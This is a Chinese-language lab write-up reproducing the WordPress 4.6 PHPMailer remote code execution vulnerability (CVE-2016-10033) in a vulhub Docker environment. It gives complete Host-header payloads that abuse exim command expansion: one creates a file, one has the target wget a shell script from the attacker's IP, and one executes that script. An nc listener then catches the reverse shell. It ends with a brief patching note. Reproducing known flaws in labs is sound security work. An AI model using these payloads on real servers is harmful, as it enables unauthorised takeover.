WordPress 4.6远程执行代码漏洞

    科技2025-07-25  8

    WordPress 4.6远程执行代码漏洞(漏洞复现)

    漏洞编码:

    CVE-2016-10033

    漏洞简述:

    WordPress 4.6 版本远程代码执行漏洞是一个非常严重的漏洞,未经授权的攻击者利用该漏洞就能实现远程代码执行,针对目标服务器实现即时访问,最终导致目标应用服务器的完全陷落。远程攻击者可以利用该漏洞执行代码。

    漏洞版本:

    WordPress <= 4.6.0 PHPMailer < 5.2.18

    漏洞原理:

    主要是phpmailer组件调用linux系统命令sendmail进行邮件发送,通过传入的SERVER_NAME获取主机名(即请求host值),而SERVER_NAME没有经过任何过滤,从而产生漏洞,而exim4替代了sendmail的功能,即可以利用substr,run函数等进入绕过,构造payload。

    环境搭建:

    攻击机IP:192.168.35.128 靶机IP: 192.168.35.143

    靶机启动环境

    docker-compose build docker-compose up -d

    进入页面 http://192.168.35.143:8080/wp-login.php

    在找回密码的页面进行抓包

    我们需要满足以下要求才能利用此漏洞
    执行的命令不能包含一些特殊的字符,例如:,’,"等。该命令将转换为小写字母该命令需要使用绝对路径需要知道一个现有的用户名

    构造payload进行测试

    主要是利用对空格和“/”进行以下转换

    空格 ==> {substr{10}{1}{tod_log}} / ==> {substr{0}{1}{spool_directory}}

    初始构造的payload(该payload的作用是在/tmp/下创建success的文件夹)

    target(any -froot@localhost -be ${run{/bin/touch /tmp/success}} null)

    转换之后的payload

    target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)

    修改抓包中的Host:构造的payload,

    去靶机环境查看,确实创建了success的文件。

    因此可以利用curl和wget远程下载文件,然后执行getshell

    构造payload进行远程文件下载

    构造初始的payload

    target(any -froot@localhost -be ${run{/usr/bin/wget --output-document /tmp/rce 192.168.35.128/shell.txt}} null)

    转换之后的payload

    target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}usr${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}wget${substr{10}{1}{$tod_log}}--output-document${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce${substr{10}{1}{$tod_log}}192.168.35.128${substr{0}{1}{$spool_directory}}shell.txt}} null)

    在靶机环境查看,已经远程下载了rce的文件。

    上传shell之后,只需执行即可

    构造执行shell.txt的payload

    target(any -froot@localhost -be ${run{/bin/bash /tmp/rce}} null)

    转换之后为

    target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}bash${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}rce}} null)

    同时在kali开启监听

    nc -vlp 4444

    发送执行命令的payload

    发现kali已经连接webshell

    漏洞修复:

    更新wordpress,phpmailer到最新的版本。

    ps:一人一个屁~~~

    参考链接

    https://vulhub.org/#/environments/wordpress/pwnscriptum/

    https://github.com/opsxcq/exploit-CVE-2016-10033

    https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html

    Processed: 0.010, SQL: 8